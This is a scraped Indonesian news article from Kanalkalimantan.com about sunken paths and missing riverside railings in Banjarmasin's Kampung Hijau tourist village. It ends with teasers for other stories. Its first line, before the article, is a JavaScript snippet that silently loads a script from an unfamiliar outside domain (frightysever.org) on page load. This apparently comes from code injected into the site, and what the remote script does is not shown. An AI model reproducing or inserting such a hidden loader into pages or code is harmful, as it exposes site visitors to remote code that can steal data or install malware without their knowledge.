(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Jalan di wilayah wisata Kampung Hijau yang terletak di Kelurahan Sungai Bilu, Kecamatan Banjarmasin Timur, Kota Banjarmasin semakin memprihatinkan.
Sejumlah titik di jalan beton dengan lebar sekitar satu setengah meter tersebut mengalami amblas dan bergelombang.
Yang lebih membahayakan lagi, banyak pagar yang membatasi jalan dengan aliran Sungai Martapura tersebut copot.
Pantauan Kanalkalimantan.com, Kamis (27/7/2023) siang, terdapat dua titik pagar yang banyak copot, yaitu di depan gerbang masuk Kampung Hijau dan di RT 4 dengan panjang pagar yang copot sekitar 10 meter.
Baca juga: Uang Suap Kabasarnas Pakai Kode ‘Dana Komando’
Nampak, di beberapa titik lainnya satu-persatu pagar juga nampak ada yang copot dan sebagian besar telah berkarat karena dimakan usia.
Masmulia (63), salah satu warga mengatakan copotnya pagar yang terbuat dari besi tersebut telah terjadi bertahun-tahun, dan belum pernah diperbaiki oleh pihak terkait.
“Sudah lama itu, setahun lebih kondisinya seperti itu,” ucap perempuan yang rumahnya persis di depan pagar yang copot.
Baca juga: Kota Raja dan Antasari Dua Kampung Moderasi Beragama di HSU
Ia pun tidak mengatahui secara pasti penyebab banyaknya pagar yang copot, hanya dikatakan beberapa pagar besi ada yang copot sendiri dan jatuh ke sungai.
“Mungkin pemasangannya kurang kuat, soalnya pernah ada yang jatuh sendiri ke sungai,” ungkapnya.
Meskipun dikatakannya kondisi jalan belum memakan korban, warga Kampung Hijau tersebut berharap pihak terkait segera memperbaikinya.
Dirinya juga mengatakan belum pernah ada pihak terkait melakukan pengecekan apalagi untuk menjanjikan perbaikan.
Baca juga: KPK Duga Kepala Basarnas HA Terima Suap Rp88,3 Miliar
“Mudah-mudahan aja cepat diperbaiki, takut ada yang jatuh ke sungai, soalnya anak-anak sering bermain di jalan ini,” ungkapnya.
Sekadar diketahui kampung hijau merupakan salah satu objek wisata yang dikembangkan oleh Pemerintah Kota (Pemko) Banjarmasin. Hampir seluruh rumah dikawasan kampung hijau di cat berwarna hijau dan punya dermaga pemberhentian klotok wisatawan susur sungai.
Kampung ini terdiri dari lima RT dan sekitar 85 unit rumah dengan panjang sekitar 800 meter.
Baca juga: Bea Cukai Banjarmasin Musnahkan Rokok dan Alkohol Ilegal
Kampung Hijau pertama kali dikembangkan Pemko Banjarmasin sekitar tahun 2018 saat kepemimpinan periode pertama Ibnu Sina-Hermansyah. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
This website uses cookies.